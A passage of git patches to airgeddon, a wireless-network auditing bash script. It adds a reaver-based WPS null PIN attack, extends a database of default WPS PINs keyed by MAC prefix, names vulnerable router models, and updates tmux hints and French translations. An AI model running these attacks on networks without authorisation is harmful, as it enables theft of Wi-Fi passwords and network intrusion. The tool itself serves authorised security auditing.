70795660 20859978 13090586 67774128 14738340 11317890 53741134 22388414 72768198 11651659 83914829 36956074 11277576 16007666 29342273 18297492" + PINDB["D80F99"]="12345670" PINDB["D85D4C"]="73448907 13262204 11997870" PINDB["D86194"]="71537573 10009321 31348034 18794786 15738370 18546774 47415270 63742336 93782302" PINDB["D86CE9"]="10864111 20172527 15624697" @@ -413,8 +423,8 @@ function set_pin_database() { PINDB["E091F5"]="37380342 82234577 49945386 12345670 59584094" PINDB["E0CB4E"]="62987523 49884388" PINDB["E24136"]="89817841 29612000 19107011 92008601 15763297" - PINDB["E43ED7"]="29187386 60551085 07281808 78232099 37706937" - PINDB["E4C146"]="71537573 10009321 31348034 18794786 15738370 18546774 47415270 63742336 93782302 24248907 63668346 96453780" + PINDB["E43ED7"]="29187386 60551085 07281808 78232099 37706937 12345670" + PINDB["E4C146"]="71537573 10009321 31348034 18794786 15738370 18546774 47415270 63742336 93782302 24248907 63668346 96453780 00000001" PINDB["E839DF"]="14309489" PINDB["E840F2"]="12345670 82585297 94380507" PINDB["E894F6"]="45892066 36264957 25289794 36129836" @@ -422,6 +432,7 @@ function set_pin_database() { PINDB["E8CD2D"]="32151688" PINDB["E8D11B"]="46240255 30859098 16615519 08935946 40033990 66543404" PINDB["E8DE27"]="68663803 83331817 92674639 96323472 82398903 20422394 92292208 33030265 00934527 41322581 43537525 39078070 91439093 49312263" + PINDB["E8ED05"]="51192174" PINDB["E8F1B0"]="76308574 46264848 76229909" PINDB["EB40F2"]="12345670" PINDB["EC1A59"]="19366838" @@ -446,6 +457,7 @@ function set_pin_database() { PINDB["F83DFF"]="25905892 49531046" PINDB["F86394"]="12345670" PINDB["F87F35"]="12345670" + PINDB["F88B37"]="92997233" PINDB["F88B86"]="12345670" PINDB["F88E85"]="49385052 12715657 66131533 96567111 18811728 19117652 16035232 20172527 64868653 16259553 18836486" PINDB["F88EC7"]="22066640" diff --git a/pindb_checksum.txt b/pindb_checksum.txt index ac447267a..957c423c3 100644 --- a/pindb_checksum.txt +++ b/pindb_checksum.txt @@ -1 +1 @@ -70f9eaa3e3bffd9055adfc72ca012153 +37a176e9a0eaedb7de1f06b98143bee2 From cd78c059ff79bd5e6bb3d4b23fdddf5d6dfbd9a6 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Mon, 15 Apr 2019 19:50:27 +0200 Subject: [PATCH 133/148] Fix #190. Finished to add WPS null PIN attack (reaver) --- airgeddon.sh | 53 ++++++++++++++++++++++++++++++++++++++++++++++------ 1 file changed, 47 insertions(+), 6 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 0459c8e2b..02d1ff2d2 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20190414 +#Date.........: 20190415 #Version......: 9.20 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -3585,6 +3585,24 @@ function exec_wps_pin_database_reaver_attack() { wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS reaver known pins database based attack" } +#Execute wps null pin reaver attack +function exec_reaver_nullpin_attack() { + + debug_print + + echo + language_strings "${language}" 32 "green" + + set_wps_attack_script "reaver" "nullpin" + + echo + language_strings "${language}" 33 "yellow" + language_strings "${language}" 4 "read" + recalculate_windows_sizes + manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${g2_stdleft_window} -T \"WPS null pin reaver attack\"" "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS null pin reaver attack" "active" + wait_for_process "bash \"${tmpdir}${wps_attack_script_file}\"" "WPS null pin reaver attack" +} + #Execute DoS pursuit mode attack function launch_dos_pursuit_mode_attack() { @@ -4211,7 +4229,7 @@ function wep_option() { exec_wep_allinone_attack } -#Validate wps parameters for custom pin, pixie dust, bruteforce and pin database attacks +#Validate wps parameters for custom pin, pixie dust, bruteforce, pin database and null pin attacks function wps_attacks_parameters() { debug_print @@ -4248,6 +4266,9 @@ function wps_attacks_parameters() { "pindb_bully"|"pindb_reaver") ask_timeout "wps_standard" ;; + "nullpin_reaver") + ask_timeout "wps_standard" + ;; esac fi @@ -5594,8 +5615,7 @@ function wps_attacks_menu() { language_strings "${language}" 115 "read" if wps_attacks_parameters; then manage_wps_log - #TODO set here exec_reaver_nullpin_attack function (not created yet) - under_construction_message + exec_reaver_nullpin_attack fi else echo @@ -8376,6 +8396,9 @@ function set_wps_attack_script() { "bruteforce") attack_cmd1="reaver -i \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} \${script_bully_reaver_band_modifier} -L -f -N -d 2 -vvv" ;; + "nullpin") + attack_cmd1="reaver -i \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} \${script_bully_reaver_band_modifier} -L -f -N -g 1 -d 2 -vvv -p ''" + ;; esac else unbuffer="unbuffer " @@ -8429,6 +8452,10 @@ function set_wps_attack_script() { script_attack_cmd1="${unbuffer} ${attack_cmd1}" pin_header1="${white_color}Testing all possible PINs${normal_color}" ;; + "nullpin") + script_attack_cmd1="${unbuffer}timeout -s SIGTERM ${timeout_secs_per_pin} ${attack_cmd1}" + pin_header1="${white_color}Testing null PIN" + ;; esac pin_header2=" (${yellow_color}" @@ -8479,7 +8506,7 @@ function set_wps_attack_script() { cat >&7 <<-'EOF' if [ "${script_wps_attack_tool}" = "reaver" ]; then case ${script_wps_attack_mode} in - "pindb"|"custompin"|"bruteforce") + "pindb"|"custompin"|"bruteforce"|"nullpin") failed_attack_regexp="^\[!\][[:space:]]WPS[[:space:]]transaction[[:space:]]failed" success_attack_badpin_regexp="^\[\-\][[:space:]]Failed[[:space:]]to[[:space:]]recover[[:space:]]WPA[[:space:]]key" success_attack_goodpin_regexp="^\[\+\][[:space:]]Pin[[:space:]]cracked" @@ -8508,7 +8535,7 @@ function set_wps_attack_script() { fi case ${script_wps_attack_mode} in - "pindb"|"custompin") + "pindb"|"custompin"|"nullpin") for item in "${LINES_TO_PARSE[@]}"; do if [ "${script_wps_attack_tool}" = "reaver" ]; then if [[ ${item} =~ ${success_attack_goodpin_regexp} ]] || [[ ${pin_cracked} -eq 1 ]]; then @@ -8597,6 +8624,14 @@ function set_wps_attack_script() { cat >&7 <<-EOF timeout_msg="${white_color}Timeout for Pixie Dust attack${normal_color}" + EOF + + cat >&7 <<-'EOF' + elif [ "${script_wps_attack_mode}" = "nullpin" ]; then + EOF + + cat >&7 <<-EOF + timeout_msg="${white_color}Timeout for null PIN${normal_color}" else timeout_msg="${white_color}Timeout for last PIN${normal_color}" fi @@ -8714,6 +8749,12 @@ function set_wps_attack_script() { eval "${script_attack_cmd1}${script_attack_cmd2} ${colorize}" parse_output ;; + "nullpin") + echo + echo -e "${pin_header1}" + eval "${script_attack_cmd1}${script_attack_cmd2} ${colorize}" + parse_output + ;; esac if [ ${pin_cracked} -eq 1 ]; then From 2ff3e797d194fa3cdf103a5a99525b267563892f Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Mon, 15 Apr 2019 20:42:27 +0200 Subject: [PATCH 134/148] Added hint talking about tmux to the hint pool --- airgeddon.sh | 4 ++-- language_strings.sh | 14 +++++++++++++- 2 files changed, 15 insertions(+), 3 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 02d1ff2d2..d66d4b2f4 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -308,7 +308,7 @@ known_arm_compatible_distros=( ) #Hint vars -declare main_hints=(128 134 163 437 438 442 445 516 590) +declare main_hints=(128 134 163 437 438 442 445 516 590 626) declare dos_hints=(129 131 133) declare handshake_hints=(127 130 132 136) declare handshake_attack_hints=(142) @@ -317,7 +317,7 @@ declare personal_decrypt_hints=(171 178 179 208 244 163) declare enterprise_decrypt_hints=(171 179 208 244 163 610) declare select_interface_hints=(246) declare language_hints=(250 438) -declare option_hints=(445 250 448 477 591) +declare option_hints=(445 250 448 477 591 626) declare evil_twin_hints=(254 258 264 269 309 328 400 509) declare evil_twin_dos_hints=(267 268 509) declare beef_hints=(408) diff --git a/language_strings.sh b/language_strings.sh index 2c70f2d57..2efd066dc 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -2,7 +2,7 @@ #Title........: language_strings.sh #Description..: All the translated strings that airgeddon uses are located here. #Author.......: v1s1t0r -#Date.........: 20190414 +#Date.........: 20190415 #Bash Version.: 4.2 or later #Set language_strings file version @@ -8362,6 +8362,18 @@ function language_strings() { arr["GERMAN",625]="${pending_of_translation} Der Null-PIN-Angriff ist sehr schnell und erhält das Kennwort sofort, aber nur wenige Zugangspunkte sind anfällig. Einige sind \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" und \"ZTE H298N\"" arr["TURKISH",625]="${pending_of_translation} Boş PIN saldırısı çok hızlıdır ve şifreyi anında alır, ancak yalnızca birkaç erişim noktası korunmasızdır. Bazı \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" ve \"ZTE H298N\"" + arr["ENGLISH",626]="Since airgeddon 9.20 version, tmux is supported and it can be used instead of xterm as windows handler. Script can be launched in a headless environment without a graphical X window system. It is recommended only for advanced users. Like any other option, it can be configured on the options menu, on the ${rc_file} options file or launched using AIRGEDDON_WINDOWS_HANDLING \"flag\" in the command line. More information about options customization at Wiki: ${urlgithub_wiki}/Options" + arr["SPANISH",626]="A partir de la versión 9.20 de airgeddon, tmux está soportado y se puede utilizar en lugar de xterm como gestor de ventanas. Se puede lanzar el script en un entorno sin un sistema gráfico de ventanas X. Solo se recomienda hacerlo para usuarios avanzados. Como cualquier otra opción, se puede configurar desde el menú de opciones, configurarlo en el fichero de opciones ${rc_file} o lanzarlo usando el \"flag\" AIRGEDDON_WINDOWS_HANDLING en la línea de comandos. Más información acerca de la personalización de opciones en el Wiki: ${urlgithub_wiki}/Options" + arr["FRENCH",626]="${pending_of_translation} À partir de la version 9.20 de airgeddon, tmux est pris en charge et peut être utilisé à la place de xterm en tant que gestionnaire de fenêtres. Vous pouvez lancer le script dans un environnement dépourvu de système graphique X Windows. Il est recommandé aux utilisateurs avancés. Comme toute autre option, elle peut être configurée à partir du menu d'options, dans le fichier d'options ${rc_file} ou lancée à l'aide de \"flag\" AIRGEDDON_WINDOWS_HANDLING sur la ligne de commande. Plus d'informations sur la personnalisation des options dans le Wiki: ${urlgithub_wiki}/Options" + arr["CATALAN",626]="${pending_of_translation} A partir de la versió 9.20 de airgeddon, tmux està suportat i es pot utilitzar en lloc de xterm com a gestor de finestres. Es pot llançar l'script en un entorn sense un sistema gràfic de finestres X. Només es recomana fer-ho per a usuaris avançats. Com qualsevol altra opció, es pot configurar des del menú d'opcions, configurar en el fitxer d'opcions ${rc_file} o llançar-usant el \"flag\" AIRGEDDON_WINDOWS_HANDLING en la línia d'ordres. Més informació sobre la personalització d'opcions al Wiki: ${urlgithub_wiki}/Options" + arr["PORTUGUESE",626]="${pending_of_translation} A partir da versão 9.20 do airgeddon, o tmux é suportado e pode ser usado em vez do xterm como gerenciador de janelas. Você pode iniciar o script em um ambiente sem um sistema gráfico do X. Ele é recomendado apenas para usuários avançados. Como qualquer outra opção, ele pode ser configurado a partir do menu de opções, configurado no arquivo de opções ${rc_file} ou iniciado usando o \"flag\" AIRGEDDON_WINDOWS_HANDLING na linha de comando. Mais informações sobre a customização de opções no Wiki: ${urlgithub_wiki}/Options" + arr["RUSSIAN",626]="${pending_of_translation} Начиная с версии airgeddon 9.20, tmux поддерживается и может использоваться вместо xterm в качестве обработчика Windows. Скрипт может быть запущен в автономной среде без графической системы X Window. Рекомендуется только для опытных пользователей. Как и любой другой параметр, его можно настроить в меню параметров, в файле параметров ${rc_file} или запустить с помощью AIRGEDDON_WINDOWS_HANDLING \"flag\" в командной строке. Больше информации о настройке опций на Wiki: ${urlgithub_wiki}/Options" + arr["GREEK",626]="${pending_of_translation} Από την εκδοχή airgeddon 9.20, υποστηρίζεται το tmux και μπορεί να χρησιμοποιηθεί αντί του xterm ως χειριστής παραθύρων. Το σενάριο μπορεί να εκτοξευθεί σε περιβάλλον χωρίς κεφαλή χωρίς γραφικό σύστημα παραθύρων X. Συνιστάται μόνο για προχωρημένους χρήστες. Όπως και κάθε άλλη επιλογή, μπορεί να ρυθμιστεί στο μενού επιλογών, στο αρχείο επιλογών ${rc_file} ή να ξεκινήσει χρησιμοποιώντας τη \"flag\" AIRGEDDON_WINDOWS_HANDLING στη γραμμή εντολών. Περισσότερες πληροφορίες σχετικά με την προσαρμογή των επιλογών στο Wiki: ${urlgithub_wiki}/Options" + arr["ITALIAN",626]="${pending_of_translation} A partire dalla versione 9.20 di airgeddon, tmux è supportato e può essere usato al posto di xterm come gestore di finestre. È possibile avviare lo script in un ambiente senza un sistema grafico di X Windows. È consigliato solo per utenti esperti. Come qualsiasi altra opzione, può essere configurata dal menu delle opzioni, configurata nel file delle opzioni ${rc_file} o avviata utilizzando il \"flag\" AIRGEDDON_WINDOWS_HANDLING sulla riga di comando. Maggiori informazioni sulla personalizzazione delle opzioni nel Wiki: ${urlgithub_wiki}/Options" + arr["POLISH",626]="${pending_of_translation} Począwszy od wersji 9.20 airgeddon, tmux jest obsługiwany i może być używany zamiast xterm jako menedżer okien. Skrypt można uruchomić w środowisku bez systemu graficznego okien X. Zalecany jest tylko dla zaawansowanych użytkowników. Jak każda inna opcja, można ją skonfigurować z menu opcji, skonfigurować w pliku opcji ${rc_file} lub uruchomić za pomocą \"flag\" AIRGEDDON_WINDOWS_HANDLING w wierszu poleceń. Więcej informacji na temat dostosowywania opcji w Wikiv" + arr["GERMAN",626]="${pending_of_translation} Ab Version 9.20 von airgeddon wird tmux unterstützt und kann anstelle von xterm als Fenstermanager verwendet werden. Sie können das Skript in einer Umgebung ohne Grafiksystem von X-Fenstern starten, es wird nur für fortgeschrittene Benutzer empfohlen. Wie jede andere Option kann sie über das Optionsmenü konfiguriert, in der Optionsdatei ${rc_file} konfiguriert oder mit dem \"flag\" AIRGEDDON_WINDOWS_HANDLING in der Befehlszeile gestartet werden. Weitere Informationen zur Anpassung der Optionen im Wiki: ${urlgithub_wiki}/Options" + arr["TURKISH",626]="${pending_of_translation} airgeddon'un 9.20 sürümünden itibaren, tmux destekleniyor ve bir pencere yöneticisi olarak xterm yerine kullanılabilir. Senaryoyu X windows grafik sistemine sahip olmayan bir ortamda başlatabilirsiniz, sadece ileri düzey kullanıcılar için önerilir. Diğer seçeneklerde olduğu gibi, seçenekler menüsünden yapılandırılabilir, ${rc_file} seçenekler dosyasında yapılandırılabilir veya komut satırında \"flag\" AIRGEDDON_WINDOWS_HANDLING kullanılarak başlatılabilir. Wiki'deki seçeneklerin özelleştirilmesi hakkında daha fazla bilgi: ${urlgithub_wiki}/Options" + case "${3}" in "yellow") interrupt_checkpoint "${2}" "${3}" From 304d3540a333084554fafa90adf4c1a27a07fa7b Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Mon, 15 Apr 2019 20:48:18 +0200 Subject: [PATCH 135/148] Unneeded TODO removed --- airgeddon.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index d66d4b2f4..150d83de1 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -14029,7 +14029,7 @@ function main() { language_strings "${language}" 621 "yellow" language_strings "${language}" 115 "read" create_tmux_session "${session_name}" "false" - #TODO replace this exit with created tmux session killing + exit_code=1 exit ${exit_code} fi From 68811aafd706cc6fb25e7085f8f14846e32343ea Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Mon, 15 Apr 2019 21:23:06 +0200 Subject: [PATCH 136/148] Fixed timeout message for WPS null pin attack --- airgeddon.sh | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 150d83de1..052a36bd3 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -8752,7 +8752,10 @@ function set_wps_attack_script() { "nullpin") echo echo -e "${pin_header1}" - eval "${script_attack_cmd1}${script_attack_cmd2} ${colorize}" + (set -o pipefail && eval "${script_attack_cmd1}${script_attack_cmd2} ${colorize}") + if [ "$?" = "124" ]; then + this_pin_timeout=1 + fi parse_output ;; esac From b68784838534b82be8002c6beb37644ab0be0ad3 Mon Sep 17 00:00:00 2001 From: JBalanza Date: Tue, 16 Apr 2019 16:37:56 +0200 Subject: [PATCH 137/148] Uploaded French translations --- language_strings.sh | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index 2efd066dc..0c1494bc9 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -2,7 +2,7 @@ #Title........: language_strings.sh #Description..: All the translated strings that airgeddon uses are located here. #Author.......: v1s1t0r -#Date.........: 20190415 +#Date.........: 20190416 #Bash Version.: 4.2 or later #Set language_strings file version @@ -8244,7 +8244,7 @@ function language_strings() { arr["ENGLISH",616]="10. Change windows handling method to tmux" arr["SPANISH",616]="10. Cambiar el método de manejo de ventanas a tmux" - arr["FRENCH",616]="${pending_of_translation} 10. Changer la méthode de gestion de la fenêtre en tmux" + arr["FRENCH",616]="10. Changer la méthode de gestion des fenêtres en tmux" arr["CATALAN",616]="${pending_of_translation} 10. Canviar el mètode de maneig de finestres a tmux" arr["PORTUGUESE",616]="${pending_of_translation} 10. Altere o método de gerenciamento de janela para tmux" arr["RUSSIAN",616]="${pending_of_translation} 10. Измените метод управления окнами на tmux" @@ -8256,7 +8256,7 @@ function language_strings() { arr["ENGLISH",617]="10. Change windows handling method to xterm" arr["SPANISH",617]="10. Cambiar el método de manejo de ventanas a xterm" - arr["FRENCH",617]="${pending_of_translation} 10. Changer la méthode de gestion de la fenêtre en xterm" + arr["FRENCH",617]="10. Changer la méthode de gestion des fenêtres en xterm" arr["CATALAN",617]="${pending_of_translation} 10. Canviar el mètode de maneig de finestres a xterm" arr["PORTUGUESE",617]="${pending_of_translation} 10. Altere o método de gerenciamento de janela para xterm" arr["RUSSIAN",617]="${pending_of_translation} 10. Измените метод управления окнами на xterm" @@ -8268,7 +8268,7 @@ function language_strings() { arr["ENGLISH",618]="Windows handling: ${pink_color}xterm${normal_color}" arr["SPANISH",618]="Manejo de ventanas: ${pink_color}xterm${normal_color}" - arr["FRENCH",618]="${pending_of_translation} Gestion de la fenêtre: ${pink_color}xterm${normal_color}" + arr["FRENCH",618]="Gestion des fenêtres: ${pink_color}xterm${normal_color}" arr["CATALAN",618]="${pending_of_translation} Maneig de finestres: ${pink_color}xterm${normal_color}" arr["PORTUGUESE",618]="${pending_of_translation} Gerenciamento de janelas: ${pink_color}xterm${normal_color}" arr["RUSSIAN",618]="${pending_of_translation} Управление окнами: ${pink_color}xterm${normal_color}" @@ -8280,7 +8280,7 @@ function language_strings() { arr["ENGLISH",619]="Windows handling: ${pink_color}tmux${normal_color}" arr["SPANISH",619]="Manejo de ventanas: ${pink_color}tmux${normal_color}" - arr["FRENCH",619]="${pending_of_translation} Gestion de la fenêtre: ${pink_color}tmux${normal_color}" + arr["FRENCH",619]="Gestion des fenêtres: ${pink_color}tmux${normal_color}" arr["CATALAN",619]="${pending_of_translation} Maneig de finestres: ${pink_color}tmux${normal_color}" arr["PORTUGUESE",619]="${pending_of_translation} Gerenciamento de janelas: ${pink_color}tmux${normal_color}" arr["RUSSIAN",619]="${pending_of_translation} Управление окнами: ${pink_color}tmux${normal_color}" @@ -8292,7 +8292,7 @@ function language_strings() { arr["ENGLISH",620]="The windows handling method has been modified in the configuration file. Restart the script in order to make the changes to take effect" arr["SPANISH",620]="Se ha modificado en el fichero de configuración el método de gestión de ventanas. Reinicia el script para que los cambios tengan efecto" - arr["FRENCH",620]="${pending_of_translation} La méthode de gestion des fenêtres a été modifiée dans le fichier de configuration. Redémarrez le script pour que les modifications prennent effet" + arr["FRENCH",620]="La méthode de gestion des fenêtres a été modifiée dans le fichier de configuration. Redémarrez le script pour que les modifications prennent effet" arr["CATALAN",620]="${pending_of_translation} S'ha modificat en el fitxer de configuració el mètode de gestió de finestres. Reinicia el script perquè els canvis tinguin efecte" arr["PORTUGUESE",620]="${pending_of_translation} O método de gerenciamento de janelas foi modificado no arquivo de configuração. Reinicie o script para que as alterações entrem em vigor" arr["RUSSIAN",620]="${pending_of_translation} Метод управления окнами был изменен в файле конфигурации. Перезапустите скрипт, чтобы изменения вступили в силу" @@ -8304,7 +8304,7 @@ function language_strings() { arr["ENGLISH",621]="It's not possible to run airgeddon in the current tmux session. This session will be send to background and a new tmux session will be created for launching airgeddon" arr["SPANISH",621]="No es posible ejecutar airgeddon en la sesión tmux actual. Esta sesión será enivada a segundo plano y se creará una nueva sesión tmux donde airgeddon será lanzado" - arr["FRENCH",621]="${pending_of_translation} Il n'est pas possible de lancer airgeddon dans la session tmux en cours. Cette session sera envoyée à l’arrière-plan et une nouvelle session tmux sera créée pour lancer airgeddon" + arr["FRENCH",621]="Il n'est pas possible de lancer airgeddon dans la session de tmux en cours. Cette session sera envoyée à l’arrière-plan et une nouvelle session tmux sera crée pour lancer airgeddon" arr["CATALAN",621]="${pending_of_translation} No és possible executar airgeddon en la sessió tmux actual. Aquesta sessió serà enivada a segon pla i es crearà una nova sessió tmux on airgeddon serà llançat" arr["PORTUGUESE",621]="${pending_of_translation} Não é possível executar o airgeddon na sessão atual do tmux. Esta sessão será enviada para o fundo e uma nova sessão do tmux será criada onde o airgeddon será lançado" arr["RUSSIAN",621]="${pending_of_translation} Невозможно запустить airgeddon в текущей сессии tmux. Этот сеанс будет отправлен в фоновый режим, и будет создан новый сеанс tmux для запуска airgeddon" @@ -8316,7 +8316,7 @@ function language_strings() { arr["ENGLISH",622]="13. (reaver) Null PIN attack" arr["SPANISH",622]="13. (reaver) Ataque de PIN nulo" - arr["FRENCH",622]="${pending_of_translation} 13. (reaver) Attaque par PIN nul" + arr["FRENCH",622]="13. (reaver) Attaque de PIN nul" arr["CATALAN",622]="${pending_of_translation} 13. (reaver) Atac de PIN nul" arr["PORTUGUESE",622]="${pending_of_translation} 13. (reaver) Ataque de PIN nulo" arr["RUSSIAN",622]="${pending_of_translation} 13. (reaver) Атака нулевого PIN" @@ -8328,7 +8328,7 @@ function language_strings() { arr["ENGLISH",623]="You have reaver installed (v${reaver_version}). You meet the version requirement to perform null PIN integrated reaver attack (minimum version v${minimum_reaver_nullpin_version}). Script can continue..." arr["SPANISH",623]="Tienes reaver instalado (v${reaver_version}). Cumples con el requisito de versión para realizar el ataque de PIN nulo integrado con reaver (versión minima v${minimum_reaver_nullpin_version}). El script puede continuar..." - arr["FRENCH",623]="${pending_of_translation} Reaver est installé (v${reaver_version}). Cette version est compatible avec l'attaque par PIN nul (version minimale: ${minimum_reaver_nullpin_version}). Le script peut continuer..." + arr["FRENCH",623]="Reaver est installé (v${reaver_version}). Cette version est compatible avec l'attaque par PIN nul (version minimale: ${minimum_reaver_nullpin_version}). Le script peut continuer..." arr["CATALAN",623]="${pending_of_translation} Tens reaver instal·lat (v${reaver_version}). Compleixes amb el requisit de versió per a realitzar l'atac de PIN nul integrat amb reaver (versió mínima v${minimum_reaver_nullpin_version}). El script pot continuar..." arr["PORTUGUESE",623]="${pending_of_translation} Você tem o reaver instalado (v${reaver_version}). Você cumpre a exigência de versão para o ataque de PIN nulo com reaver (versão mínima v${minimum_reaver_nullpin_version}). O script pode continuar..." arr["RUSSIAN",623]="${pending_of_translation} У вас установлен reaver (v${reaver_version}). Версия удовлетворяет требованиям для выполнения интегрированной в reaver атаки нулевого PIN (минимальная версия v${minimum_reaver_nullpin_version}). Скрипт может продолжить работу..." @@ -8340,7 +8340,7 @@ function language_strings() { arr["ENGLISH",624]="You have reaver installed (v${reaver_version}), but not required version. To perform null PIN integrated reaver attack you must have at least version v${minimum_reaver_nullpin_version}" arr["SPANISH",624]="Tienes reaver instalado (v${reaver_version}), aunque no la versión requerida. Para realizar el ataque de PIN nulo integrado con reaver has de tener al menos la versión v${minimum_reaver_nullpin_version}" - arr["FRENCH",624]="${pending_of_translation} Reaver est installé (v${reaver_version}) mais cette version n'est pas compatible avec l'attaque par PIN nul. Version minimale requise: v${minimum_reaver_nullpin_version}" + arr["FRENCH",624]="Reaver est installé (v${reaver_version}) mais cette version n'est pas compatible avec l'attaque par PIN nul. Version minimale requise: v${minimum_reaver_nullpin_version}" arr["CATALAN",624]="${pending_of_translation} Tens reaver instal·lat (v${reaver_version}), encara que no és la versió requerida. Per realitzar l'atac de PIN nul integrat amb reaver has de tenir almenys la versió v${minimum_reaver_nullpin_version}" arr["PORTUGUESE",624]="${pending_of_translation} Você tem o reaver instalado (v${reaver_version}), mas não a versão necessária. Para fazer o ataque de PIN nulo com reaver integrado você precisa ter pelo menos a versão v${minimum_reaver_nullpin_version}" arr["RUSSIAN",624]="${pending_of_translation} У вас установлен reaver (v${reaver_version}), но не та версия, которая требуется. Для выполнения интегрированной в reaver атаки нулевого PIN у вас должна быть по крайней мере v${minimum_reaver_nullpin_version}" @@ -8352,7 +8352,7 @@ function language_strings() { arr["ENGLISH",625]="Null PIN attack is pretty fast and achieve the password almost instantly but only a few access points are vulnerable. Some of them are \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" and \"ZTE H298N\"" arr["SPANISH",625]="El ataque de PIN nulo es muy rápido y consigue la contraseña instantáneamente pero solo unos pocos puntos de acceso son vulnerables. Algunos conocidos son \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" y \"ZTE H298N\"" - arr["FRENCH",625]="${pending_of_translation} L'attaque par PIN nul est très rapide et obtient le mot de passe instantanément, mais seuls quelques points d'accès sont vulnérables. Certains sont \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" et \"ZTE H298N\"" + arr["FRENCH",625]="L'attaque de PIN nul est très rapide et il obtient le mot de passe instantanément, mais juste quelques points d'accès sont vulnérables. Certains sont \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" et \"ZTE H298N\"" arr["CATALAN",625]="${pending_of_translation} L'atac PIN nul és molt ràpid i aconsegueix la contrasenya instantàniament però només uns pocs punts d'accés són vulnerables. alguns són \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" i \"ZTE H298N\"" arr["PORTUGUESE",625]="${pending_of_translation} O ataque de PIN nulo é muito rápido e obtém a senha instantaneamente, mas apenas alguns pontos de acesso são vulneráveis. Alguns são \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" e \"ZTE H298N\"" arr["RUSSIAN",625]="${pending_of_translation} Атака по нулевому PIN-коду очень быстрая и мгновенно получает пароль, но уязвимы только несколько точек доступа. Некоторые \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" и \"ZTE H298N\"" @@ -8364,7 +8364,7 @@ function language_strings() { arr["ENGLISH",626]="Since airgeddon 9.20 version, tmux is supported and it can be used instead of xterm as windows handler. Script can be launched in a headless environment without a graphical X window system. It is recommended only for advanced users. Like any other option, it can be configured on the options menu, on the ${rc_file} options file or launched using AIRGEDDON_WINDOWS_HANDLING \"flag\" in the command line. More information about options customization at Wiki: ${urlgithub_wiki}/Options" arr["SPANISH",626]="A partir de la versión 9.20 de airgeddon, tmux está soportado y se puede utilizar en lugar de xterm como gestor de ventanas. Se puede lanzar el script en un entorno sin un sistema gráfico de ventanas X. Solo se recomienda hacerlo para usuarios avanzados. Como cualquier otra opción, se puede configurar desde el menú de opciones, configurarlo en el fichero de opciones ${rc_file} o lanzarlo usando el \"flag\" AIRGEDDON_WINDOWS_HANDLING en la línea de comandos. Más información acerca de la personalización de opciones en el Wiki: ${urlgithub_wiki}/Options" - arr["FRENCH",626]="${pending_of_translation} À partir de la version 9.20 de airgeddon, tmux est pris en charge et peut être utilisé à la place de xterm en tant que gestionnaire de fenêtres. Vous pouvez lancer le script dans un environnement dépourvu de système graphique X Windows. Il est recommandé aux utilisateurs avancés. Comme toute autre option, elle peut être configurée à partir du menu d'options, dans le fichier d'options ${rc_file} ou lancée à l'aide de \"flag\" AIRGEDDON_WINDOWS_HANDLING sur la ligne de commande. Plus d'informations sur la personnalisation des options dans le Wiki: ${urlgithub_wiki}/Options" + arr["FRENCH",626]="À partir de la version 9.20 d'airgeddon, tmux est supporté et peut être utilisé à la place de xterm en tant que gestionnaire de fenêtres. Vous pouvez lancer le script dans un environnement dépourvu de système graphique X Windows. Il est recommandé aux utilisateurs avancés. Comme toute autre option, elle peut être configurée à partir du menu d'options, dans le fichier d'options ${rc_file} ou le lancer à l'aide de \"flag\" AIRGEDDON_WINDOWS_HANDLING sur la ligne de commande. Plus d'informations sur la personnalisation des options dans le Wiki: ${urlgithub_wiki}/Options" arr["CATALAN",626]="${pending_of_translation} A partir de la versió 9.20 de airgeddon, tmux està suportat i es pot utilitzar en lloc de xterm com a gestor de finestres. Es pot llançar l'script en un entorn sense un sistema gràfic de finestres X. Només es recomana fer-ho per a usuaris avançats. Com qualsevol altra opció, es pot configurar des del menú d'opcions, configurar en el fitxer d'opcions ${rc_file} o llançar-usant el \"flag\" AIRGEDDON_WINDOWS_HANDLING en la línia d'ordres. Més informació sobre la personalització d'opcions al Wiki: ${urlgithub_wiki}/Options" arr["PORTUGUESE",626]="${pending_of_translation} A partir da versão 9.20 do airgeddon, o tmux é suportado e pode ser usado em vez do xterm como gerenciador de janelas. Você pode iniciar o script em um ambiente sem um sistema gráfico do X. Ele é recomendado apenas para usuários avançados. Como qualquer outra opção, ele pode ser configurado a partir do menu de opções, configurado no arquivo de opções ${rc_file} ou iniciado usando o \"flag\" AIRGEDDON_WINDOWS_HANDLING na linha de comando. Mais informações sobre a customização de opções no Wiki: ${urlgithub_wiki}/Options" 